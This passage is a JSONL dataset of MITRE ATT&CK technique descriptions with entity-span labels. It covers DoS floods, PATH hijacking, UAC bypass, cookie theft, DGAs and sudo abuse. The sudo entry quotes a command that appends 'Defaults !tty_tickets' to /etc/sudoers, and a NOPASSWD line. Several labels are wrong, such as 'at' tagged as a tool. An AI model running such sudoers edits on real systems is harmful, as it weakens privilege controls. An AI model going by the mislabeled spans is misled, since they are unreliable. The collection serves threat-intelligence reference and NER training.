837], [1034, 1041]], "TOOL: at": [[1103, 1105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1129"}} {"text": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1602"}} {"text": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.", "spans": {"SYSTEM: MBR": [[374, 377]], "SYSTEM: SMB": [[1185, 1188]], "SYSTEM: Windows": [[1189, 1196]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1561.002"}} {"text": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1498.001"}} {"text": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.", "spans": {"SYSTEM: Windows": [[613, 620]], "FILEPATH: C:\\example": [[684, 694], [842, 852]], "FILEPATH: C:\\Windows\\system32\\net.exe`": [[729, 757]], "TOOL: at": [[920, 922]], "FILEPATH: C:\\Windows\\system32\\net.exe`.": [[924, 953]], "SYSTEM: macOS": [[1509, 1514]], "SYSTEM: Unix": [[1648, 1652]], "FILEPATH: /etc/paths.d`": [[1705, 1718]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.007"}} {"text": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources", "spans": {"SYSTEM: SharePoint": [[29, 39], [93, 103], [374, 384]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.002"}} {"text": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. \n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell. Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and esentutl) to create shadow copies or backups of data from system volumes.", "spans": {"SYSTEM: Windows": [[100, 107], [311, 318]], "TOOL: PowerShell": [[449, 459]], "TOOL: vssadmin": [[530, 538]], "MALWARE: esentutl": [[556, 564]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1006"}} {"text": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.007"}} {"text": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses. \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.", "spans": {"SYSTEM: AWS": [[354, 357], [1066, 1069], [1225, 1228], [1481, 1484]], "SYSTEM: Azure": [[443, 448], [642, 647]], "SYSTEM: API": [[1177, 1180], [1434, 1437]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1666"}} {"text": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule PowerShell cmdlets on Windows systems.\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. \n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "spans": {"TOOL: PowerShell": [[408, 418]], "SYSTEM: Windows": [[430, 437]], "ORGANIZATION: Microsoft": [[1357, 1366]], "SYSTEM: Exchange": [[1367, 1375]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.008"}} {"text": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1491.002"}} {"text": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.", "spans": {"TOOL: at": [[535, 537]], "SYSTEM: Word": [[1110, 1114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.013"}} {"text": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.005"}} {"text": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.001"}} {"text": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware. Rootkits have been seen for Windows, Linux, and Mac OS X systems. \n\nRootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.", "spans": {"SYSTEM: API": [[251, 254]], "TOOL: at": [[350, 352]], "SYSTEM: Windows": [[485, 492]], "SYSTEM: Linux": [[494, 499]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1014"}} {"text": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "spans": {"TOOL: PowerShell": [[100, 110], [123, 133], [197, 207], [282, 292], [407, 417], [444, 454], [464, 474], [714, 724], [779, 789], [977, 987]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.013"}} {"text": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.", "spans": {"SYSTEM: JavaScript": [[49, 59], [75, 85], [554, 564], [625, 635], [1282, 1292]], "TOOL: at": [[159, 161]], "SYSTEM: JScript": [[289, 296], [361, 368]], "ORGANIZATION: Microsoft": [[304, 313]], "SYSTEM: Windows": [[392, 399], [458, 465]], "SYSTEM: Component Object Model": [[478, 500]], "SYSTEM: Internet Explorer": [[505, 522]], "SYSTEM: macOS": [[591, 596]], "ORGANIZATION: Apple": [[657, 662], [734, 739], [875, 880]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.007"}} {"text": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.", "spans": {"SYSTEM: DNS": [[54, 57], [93, 96], [278, 281], [536, 539], [548, 551], [553, 556], [1033, 1036], [1052, 1055], [1117, 1120]], "SYSTEM: Office 365": [[380, 390]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.002"}} {"text": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time. If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day. In addition to destroying data for purposes of extortion and Financial Theft, adversaries may also perform this action on buckets storing cloud logs for Indicator Removal.", "spans": {"TOOL: at": [[377, 379]], "SYSTEM: AWS": [[404, 407]], "SYSTEM: API": [[516, 519]], "SYSTEM: S3": [[559, 561]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1485.001"}} {"text": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", "spans": {"SYSTEM: API": [[335, 338]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1123"}} {"text": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters. \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.", "spans": {"SYSTEM: Windows": [[223, 230]], "SYSTEM: Linux": [[235, 240]], "SYSTEM: macOS": [[297, 302]], "TOOL: at": [[530, 532]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543"}} {"text": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.\n\nAccess to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access. Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.", "spans": {"TOOL: Windows Remote Management": [[396, 421]], "TOOL: VNC": [[426, 429]], "SYSTEM: Access": [[460, 466], [666, 672], [772, 778]], "SYSTEM: Docker": [[921, 927]], "SYSTEM: API": [[928, 931], [944, 947]], "SYSTEM: Kubernetes": [[933, 943], [996, 1006]], "TOOL: Tor": [[1090, 1093], [1236, 1239], [1256, 1259], [1302, 1305]], "TOOL: RDP": [[1450, 1453]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1133"}} {"text": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.", "spans": {"SYSTEM: macOS": [[277, 282]], "TOOL: at": [[881, 883]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.006"}} {"text": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.\n\nThere are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.\n\nAfter an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", "spans": {"SYSTEM: JavaScript": [[933, 943], [1038, 1048]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1539"}} {"text": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.", "spans": {"SYSTEM: Kubernetes": [[102, 112], [480, 490]], "TOOL: at": [[243, 245]], "SYSTEM: Linux": [[298, 303]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.007"}} {"text": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.", "spans": {"DOMAIN: istgmxdejdnxuyla.ru": [[496, 515]], "DOMAIN: cityjulydish.net": [[689, 705]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568.002"}} {"text": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies. \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "spans": {"SYSTEM: Access": [[901, 907]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.007"}} {"text": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.", "spans": {"SYSTEM: Windows": [[79, 86], [685, 692]], "SYSTEM: Component Object Model": [[750, 772], [944, 966]], "TOOL: Rundll32": [[871, 879]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.002"}} {"text": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability. SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.", "spans": {"SYSTEM: AWS": [[708, 711]], "ORGANIZATION: Amazon": [[721, 727]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.003"}} {"text": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", "spans": {"TOOL: Ping": [[176, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016.001"}} {"text": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers. In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "spans": {"SYSTEM: Linux": [[198, 203]], "TOOL: at": [[1044, 1046]], "FILEPATH: /var/db/sudo": [[1053, 1065], [2161, 2173]], "FILEPATH: /etc/sudoers": [[1415, 1427], [2629, 2641]], "SYSTEM: macOS": [[2753, 2758]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.003"}} {"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.003"}} {"text": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578"}} {"text": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.\n\nCompromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.", 